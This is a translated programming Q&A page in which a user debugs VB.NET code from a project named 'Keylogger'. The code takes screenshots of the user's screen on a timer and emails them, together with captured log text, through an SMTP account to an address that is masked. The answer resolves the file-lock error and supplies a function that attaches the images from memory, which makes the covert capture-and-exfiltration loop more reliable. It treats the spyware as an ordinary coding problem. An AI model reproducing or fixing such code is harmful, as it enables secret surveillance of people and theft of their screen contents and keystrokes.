当我运行程序时,会遇到此错误
The process cannot access the file
'C:\Users\user\Documents\Visual Studio 2010\Projects\Keylogger\WindowsApplication1\bin\Debug\pic\img1.png'
because it is being used by another process.
此错误适用于 Dim attach As New Attachment(Application.StartupPath&“\ pic \”&“\ img”& i&“.png”)
有人可以帮我吗?提前谢谢!
这是我的完整代码:
private j as integer = 1
Public Function TakeImage()
Return TakeImage(0, 0, Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
End Function
Public Function TakeImage(ByVal X As Integer, ByVal Y As Integer, ByVal Width As Integer, ByVal Height As Integer)
Dim Img As New Bitmap(Width, Height)
Dim g As Graphics = Graphics.FromImage(Img)
g.CopyFromScreen(X, Y, 0, 0, Img.Size)
g.Dispose()
Return Img
End Function
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Dim i As Integer
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("********", "********")
smtpServer.Port = 587
smtpServer.Host = "smtp.mail.yahoo.com"
mail = New MailMessage
mail.From = New MailAddress("********")
mail.To.Add("*********")
mail.Subject = ("Parham")
mail.Body = txtlogs.Text
For i = 1 To 3
Using fs As FileStream = New FileStream(Application.StartupPath & "\pic\" & "\img" & i & ".png", FileMode.Open)
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
mail.Attachments.Add(attach)
smtpServer.Send(mail)
If File.Exists(Application.StartupPath & "\pic\" & "\img" & j & ".png") Then
File.Delete(Application.StartupPath & "\pic\" & "\img" & j & ".png")
End If
End Using
Next
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If Not Directory.Exists(Application.StartupPath & "\pic\") Then
Directory.CreateDirectory(Application.StartupPath & "\pic\")
End If
End Sub
Private Sub tmrScrShot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrScrShot.Tick
Dim picture As Image = TakeImage()
Using picture
picture.Save(Application.StartupPath & "\pic\" & "\img" & j & ".png", System.Drawing.Imaging.ImageFormat.Png)
End Using
j += 1
If j > 3 Then
j = New Integer
j = 1
End If
End Sub
答案 0 :(得分:1)
您应首先设置 Option Strict ON ,然后修复将要显示的警告和错误,然后将帖子编辑为实际代码。
异常的原因是tmrEmail Timer对象和tmrScrShot Timer对象之间的计时问题。
编辑:
此方法接受一个Image对象,然后将其保存到用于创建System.Net.Mail.Attachment
的内存流中。Private Function ToAttachment(img As Image) As System.Net.Mail.Attachment
Dim attachment As System.Net.Mail.Attachment
Using ms As New System.IO.MemoryStream()
img.Save(ms, System.Drawing.Imaging.ImageFormat.Png)
attachment = New System.Net.Mail.Attachment(New System.IO.MemoryStream(ms.GetBuffer), "image.png", "image/png")
End Using
Return attachment
End Function